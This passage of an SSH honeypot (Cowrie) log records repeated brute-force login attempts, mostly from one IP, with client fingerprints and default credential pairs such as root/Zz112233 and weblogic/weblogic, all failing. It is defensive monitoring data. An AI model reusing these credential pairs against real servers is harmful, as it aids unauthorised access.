16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:34.608329Z","src_ip":"45.153.34.195","session":"95172fa35565","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"123","message":"login attempt [aaa/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:34.950937Z","src_ip":"45.153.34.195","session":"95172fa35565","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:35.702851Z","src_ip":"103.77.242.62","session":"064cffb68820","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:36.035048Z","src_ip":"45.153.34.195","session":"95172fa35565","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":37140,"dst_ip":"10.17.0.5","dst_port":22,"session":"67923125c4f1","protocol":"ssh","message":"New connection: 45.153.34.195:37140 (10.17.0.5:22) [session: 67923125c4f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:37.270554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:37.468959Z","src_ip":"45.153.34.195","session":"67923125c4f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:37.473620Z","src_ip":"45.153.34.195","session":"67923125c4f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test123","message":"login attempt [testuser/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:38.051482Z","src_ip":"45.153.34.195","session":"67923125c4f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:39.190048Z","src_ip":"45.153.34.195","session":"67923125c4f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":37152,"dst_ip":"10.17.0.5","dst_port":22,"session":"6453ba58c6d3","protocol":"ssh","message":"New connection: 45.153.34.195:37152 (10.17.0.5:22) [session: 6453ba58c6d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:40.214471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:40.222587Z","src_ip":"45.153.34.195","session":"6453ba58c6d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:40.326987Z","src_ip":"45.153.34.195","session":"6453ba58c6d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"log","password":"log","message":"login attempt [log/log] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:40.916484Z","src_ip":"45.153.34.195","session":"6453ba58c6d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:41.999669Z","src_ip":"45.153.34.195","session":"6453ba58c6d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":21614,"dst_ip":"10.17.0.5","dst_port":22,"session":"f16f20f5ab66","protocol":"ssh","message":"New connection: 45.153.34.195:21614 (10.17.0.5:22) [session: f16f20f5ab66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:43.251844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:43.256529Z","src_ip":"45.153.34.195","session":"f16f20f5ab66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:43.340189Z","src_ip":"45.153.34.195","session":"f16f20f5ab66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zz112233","message":"login attempt [root/Zz112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:43.598808Z","src_ip":"45.153.34.195","session":"f16f20f5ab66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:44.686277Z","src_ip":"45.153.34.195","session":"f16f20f5ab66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":21622,"dst_ip":"10.17.0.5","dst_port":22,"session":"38462a36bb1a","protocol":"ssh","message":"New connection: 45.153.34.195:21622 (10.17.0.5:22) [session: 38462a36bb1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:46.235501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:46.247351Z","src_ip":"45.153.34.195","session":"38462a36bb1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:46.333084Z","src_ip":"45.153.34.195","session":"38462a36bb1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"pass","message":"login attempt [deploy/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:46.649062Z","src_ip":"45.153.34.195","session":"38462a36bb1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:47.734577Z","src_ip":"45.153.34.195","session":"38462a36bb1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":21628,"dst_ip":"10.17.0.5","dst_port":22,"session":"a665d9f628be","protocol":"ssh","message":"New connection: 45.153.34.195:21628 (10.17.0.5:22) [session: a665d9f628be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:49.267236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:49.276325Z","src_ip":"45.153.34.195","session":"a665d9f628be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:49.380280Z","src_ip":"45.153.34.195","session":"a665d9f628be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic","message":"login attempt [weblogic/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:49.668985Z","src_ip":"45.153.34.195","session":"a665d9f628be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:50.776083Z","src_ip":"45.153.34.195","session":"a665d9f628be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":21638,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c5c777120db","protocol":"ssh","message":"New connection: 45.153.34.195:21638 (10.17.0.5:22) [session: 9c5c777120db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:51.903180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:51.912482Z","src_ip":"45.153.34.195","session":"9c5c777120db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:52.176006Z","src_ip":"45.153.34.195","session":"9c5c777120db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"osboxes","password":"osboxes.org","message":"login attempt [osboxes/osboxes.org] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:52.574303Z","src_ip":"45.153.34.195","session":"9c5c777120db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:53.657196Z","src_ip":"45.153.34.195","session":"9c5c777120db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":29290,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d0b74d879a1","protocol":"ssh","message":"New connection: 45.153.34.195:29290 (10.17.0.5:22) [session: 6d0b74d879a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:54.902520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:54.909982Z","src_ip":"45.153.34.195","session":"6d0b74d879a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:54.984765Z","src_ip":"45.153.34.195","session":"6d0b74d879a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ly","password":"12345678","message":"login attempt [ly/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:55.508497Z","src_ip":"45.153.34.195","session":"6d0b74d879a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":44966,"dst_ip":"159.203.135.109","dst_port":22,"session":"306767873140","protocol":"ssh","message":"New connection: 91.92.40.36:44966 (159.203.135.109:22) [session: 306767873140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:56.257098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:56.520238Z","src_ip":"91.92.40.36","session":"306767873140","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:56.591585Z","src_ip":"45.153.34.195","session":"6d0b74d879a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":29318,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa228480413f","protocol":"ssh","message":"New connection: 45.153.34.195:29318 (10.17.0.5:22) [session: aa228480413f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:57.807869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:57.817373Z","src_ip":"45.153.34.195","session":"aa228480413f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:57.836523Z","src_ip":"91.92.40.36","session":"306767873140","protocol":"ssh"}
